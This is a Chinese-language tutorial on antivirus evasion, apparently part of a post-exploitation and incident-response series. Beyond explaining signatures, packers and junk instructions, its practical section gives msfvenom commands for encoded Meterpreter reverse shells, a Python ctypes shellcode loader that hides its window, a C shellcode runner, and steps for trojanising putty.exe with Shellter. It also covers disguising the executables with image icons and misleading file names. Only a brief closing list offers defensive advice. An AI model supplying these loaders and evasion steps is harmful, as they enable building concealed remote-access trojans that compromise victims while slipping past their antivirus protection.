从后渗透分析应急响应的那些事儿(二):免杀初识篇
字数 2022 2025-08-18 11:38:37

免杀技术初识与实战教学文档

1. 免杀相关基础概念

1.1 木马定义

木马(Trojan)是指通过特定程序控制另一台计算机的恶意软件,包含控制端和被控制端两个可执行程序。特点:

  • 不会自我繁殖
  • 不主动感染其他文件
  • 通过伪装吸引用户下载执行
  • 提供远程控制主机的门户

1.2 免杀技术

免杀技术(Anti Anti-Virus)是使病毒木马免于被杀毒软件查杀的技术,涉及:

  • 反汇编
  • 逆向工程
  • 系统漏洞利用
  • 修改病毒/木马内容改变特征码

1.3 特征码

特征码是反病毒公司确定的病毒特有二进制字符串,杀毒软件通过比对特征码判断文件是否感染病毒。

1.4 Ring层级

Intel CPU特权级别分为4层:

  • Ring0:内核层,操作系统底层
  • Ring3:用户层,普通应用程序运行层级

1.5 PE文件

Windows系统中可直接执行的二进制文件结构,包括:

  • .exe/.dll/.sys/.ocx等
  • 由DOS文件头、DOS加载模块、PE文件头、区段表与区段5部分构成

2. 免杀分类

2.1 按源码分类

  • 无源码免杀:通过修改汇编代码/二进制数据完成
  • 有源码免杀:可直接修改源代码

2.2 按查杀方式分类

  • 静态文件免杀:针对病毒库/云查杀
  • 动态行为免杀:针对运行时的行为拦截

2.3 按技术层面分类

  • 文件免杀:破坏程序特征(修改特征码/加花指令/加壳)
  • 内存免杀:针对内存扫描技术
  • 行为免杀:绕过主动防御/云查杀的行为检测

常见行为检测点:

  • 添加服务
  • 创建驱动
  • 释放资源
  • 添加注册表
  • 增加自启动
  • 创建互斥体
  • 文件遍历
  • 远程线程注入
  • HOOK操作

3. 免杀实现方法

3.1 修改特征码

3.1.1 特征码定位工具

  • CCL
  • MultiCCL
  • MYCCL(CCL改进版,支持多重特征码定位)
  • VirTest(采用二分排除法)

MYCCL定位原理

通过生成分块样本文件,逐步排除定位复合特征码:

  1. 生成分块样本文件
  2. 用杀毒软件查杀
  3. 二次处理确定被杀文件范围
  4. 重复直到精确定位特征码

3.1.2 特征码修改方法

常用工具:OD、C32ASM、UE、010Editor等

修改方法:

  1. 十六进制修改:特征码对应十六进制值±1
  2. 大小写互换:字符串特征码大小写转换
  3. 替换法:替换为功能相同的汇编指令
  4. 顺序调换法:调整指令顺序
  5. JMP法:将特征码移到零区域后跳回
  6. 移位法:复制特征码到零区域后跳回

3.2 修改花指令

常用汇编指令:

  • 比较:cmp
  • 传送:mov
  • 空操作:nop
  • 调用:call
  • 栈操作:pop/push
  • 算术运算:ADD/ADC/INC/SUB/SBB/DEC
  • 逻辑运算:AND/OR/XOR/NOT/TEST
  • 跳转指令:je/jz/jne/jnz/jmp/jb/ja/jg/jge/jl/jle

3.3 加壳技术

壳的分类

  1. 压缩壳

    • 减小程序体积
    • 不修改程序逻辑
    • 执行前自动解压
    • 示例:UPX
  2. 加密壳

    • 保护程序不被破解
    • 修改源代码(代码乱序、混淆)
    • 示例:VMProtect
  3. 虚拟机保护壳

    • 实现软件CPU
    • 使用自定义指令集
    • 动态编码解码

代码保护技术

  • 代码乱序:分割代码后重新排列,通过跳转连接
  • 代码混淆:单条指令扩展为多条等效指令
  • 虚拟机保护:使用自定义指令系统

4. 免杀实战案例

4.1 Python远控木马免杀

环境准备

  • Kali Linux生成Python反弹shell
  • Windows 32位系统
  • Python环境及pywin32
  • pyinstaller打包工具

生成步骤

  1. 生成Python反弹shell:

    msfvenom -p windows/meterpreter/reverse_tcp LPORT=443 LHOST=192.168.133.130 -e x86/shikata_ga_nai -i 11 -f py -o bk2.py
    
  2. 修改Python脚本:

    from ctypes import *
    import ctypes
    
    # 原始shellcode
    buf = "\xda\xc4..." 
    
    # 内存操作代码
    VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
    VirtualProtect = ctypes.windll.kernel32.VirtualProtect
    shellcode = bytearray(buf)
    
    # 隐藏窗口
    whnd = ctypes.windll.kernel32.GetConsoleWindow()
    if whnd != 0:
        ctypes.windll.user32.ShowWindow(whnd, 0)
        ctypes.windll.kernel32.CloseHandle(whnd)
    
    # 分配可执行内存
    memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
    
    # 复制shellcode到内存
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    old = ctypes.c_long(1)
    VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)), 0x40, ctypes.byref(old))
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell), buf, ctypes.c_int(len(shellcode)))
    
    # 执行shellcode
    shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
    shell()
    
  3. 打包为exe:

    python PyInstaller.py --console --onefile bk2.py
    

4.2 C语言远控木马免杀

生成步骤

  1. 生成C格式shellcode:

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' lhost=192.168.133.130 lport=4444 -f c
    
  2. C语言模板:

    unsigned char buf[] = "shellcode内容";
    main() {
        ((void (*)(void)) &buf)();
    }
    
  3. 使用VC++6.0编译为exe

4.3 捆绑免杀

使用Shellter工具

  1. 准备合法程序(如putty.exe)

  2. 运行Shellter选择自动模式(A)

  3. 选择PE文件路径

  4. 启用藏匿模式(Y)

  5. 选择payload类型:

    • Meterpreter_Reverse_TCP
    • Meterpreter_Reverse_HTTP
    • Meterpreter_Reverse_HTTPS
    • Meterpreter_Bind_TCP
    • Shell_Reverse_TCP
  6. 设置LHOST和LPORT

  7. 生成捆绑文件

增强免杀

  • 使用UPX加壳
  • 双重捆绑
  • 资源修改(使用Resource_Hacker修改图标等)

5. 免杀变形技巧

文件伪装

  1. 使用Resource_Hacker修改exe资源
  2. 修改图标为jpg等常见文件类型图标
  3. 配合诱骗性文件名

注意事项

  • 避免中文路径
  • 测试不同杀毒软件
  • 考虑目标系统环境
  • 保持程序原有功能

6. 防御建议

检测方法

  • 多引擎扫描
  • 行为监控
  • 内存分析
  • 熵值检测(加壳文件)

防护措施

  • 保持杀毒软件更新
  • 启用行为防护
  • 限制脚本执行
  • 用户安全意识培训
免杀技术初识与实战教学文档 1. 免杀相关基础概念 1.1 木马定义 木马(Trojan)是指通过特定程序控制另一台计算机的恶意软件,包含控制端和被控制端两个可执行程序。特点: 不会自我繁殖 不主动感染其他文件 通过伪装吸引用户下载执行 提供远程控制主机的门户 1.2 免杀技术 免杀技术(Anti Anti-Virus)是使病毒木马免于被杀毒软件查杀的技术,涉及: 反汇编 逆向工程 系统漏洞利用 修改病毒/木马内容改变特征码 1.3 特征码 特征码是反病毒公司确定的病毒特有二进制字符串,杀毒软件通过比对特征码判断文件是否感染病毒。 1.4 Ring层级 Intel CPU特权级别分为4层: Ring0:内核层,操作系统底层 Ring3:用户层,普通应用程序运行层级 1.5 PE文件 Windows系统中可直接执行的二进制文件结构,包括: .exe/.dll/.sys/.ocx等 由DOS文件头、DOS加载模块、PE文件头、区段表与区段5部分构成 2. 免杀分类 2.1 按源码分类 无源码免杀 :通过修改汇编代码/二进制数据完成 有源码免杀 :可直接修改源代码 2.2 按查杀方式分类 静态文件免杀 :针对病毒库/云查杀 动态行为免杀 :针对运行时的行为拦截 2.3 按技术层面分类 文件免杀 :破坏程序特征(修改特征码/加花指令/加壳) 内存免杀 :针对内存扫描技术 行为免杀 :绕过主动防御/云查杀的行为检测 常见行为检测点: 添加服务 创建驱动 释放资源 添加注册表 增加自启动 创建互斥体 文件遍历 远程线程注入 HOOK操作 3. 免杀实现方法 3.1 修改特征码 3.1.1 特征码定位工具 CCL MultiCCL MYCCL(CCL改进版,支持多重特征码定位) VirTest(采用二分排除法) MYCCL定位原理 通过生成分块样本文件,逐步排除定位复合特征码: 生成分块样本文件 用杀毒软件查杀 二次处理确定被杀文件范围 重复直到精确定位特征码 3.1.2 特征码修改方法 常用工具:OD、C32ASM、UE、010Editor等 修改方法: 十六进制修改 :特征码对应十六进制值±1 大小写互换 :字符串特征码大小写转换 替换法 :替换为功能相同的汇编指令 顺序调换法 :调整指令顺序 JMP法 :将特征码移到零区域后跳回 移位法 :复制特征码到零区域后跳回 3.2 修改花指令 常用汇编指令: 比较:cmp 传送:mov 空操作:nop 调用:call 栈操作:pop/push 算术运算:ADD/ADC/INC/SUB/SBB/DEC 逻辑运算:AND/OR/XOR/NOT/TEST 跳转指令:je/jz/jne/jnz/jmp/jb/ja/jg/jge/jl/jle 3.3 加壳技术 壳的分类 压缩壳 : 减小程序体积 不修改程序逻辑 执行前自动解压 示例:UPX 加密壳 : 保护程序不被破解 修改源代码(代码乱序、混淆) 示例:VMProtect 虚拟机保护壳 : 实现软件CPU 使用自定义指令集 动态编码解码 代码保护技术 代码乱序 :分割代码后重新排列,通过跳转连接 代码混淆 :单条指令扩展为多条等效指令 虚拟机保护 :使用自定义指令系统 4. 免杀实战案例 4.1 Python远控木马免杀 环境准备 Kali Linux生成Python反弹shell Windows 32位系统 Python环境及pywin32 pyinstaller打包工具 生成步骤 生成Python反弹shell: 修改Python脚本: 打包为exe: 4.2 C语言远控木马免杀 生成步骤 生成C格式shellcode: C语言模板: 使用VC++6.0编译为exe 4.3 捆绑免杀 使用Shellter工具 准备合法程序(如putty.exe) 运行Shellter选择自动模式(A) 选择PE文件路径 启用藏匿模式(Y) 选择payload类型: Meterpreter_ Reverse_ TCP Meterpreter_ Reverse_ HTTP Meterpreter_ Reverse_ HTTPS Meterpreter_ Bind_ TCP Shell_ Reverse_ TCP 设置LHOST和LPORT 生成捆绑文件 增强免杀 使用UPX加壳 双重捆绑 资源修改(使用Resource_ Hacker修改图标等) 5. 免杀变形技巧 文件伪装 使用Resource_ Hacker修改exe资源 修改图标为jpg等常见文件类型图标 配合诱骗性文件名 注意事项 避免中文路径 测试不同杀毒软件 考虑目标系统环境 保持程序原有功能 6. 防御建议 检测方法 多引擎扫描 行为监控 内存分析 熵值检测(加壳文件) 防护措施 保持杀毒软件更新 启用行为防护 限制脚本执行 用户安全意识培训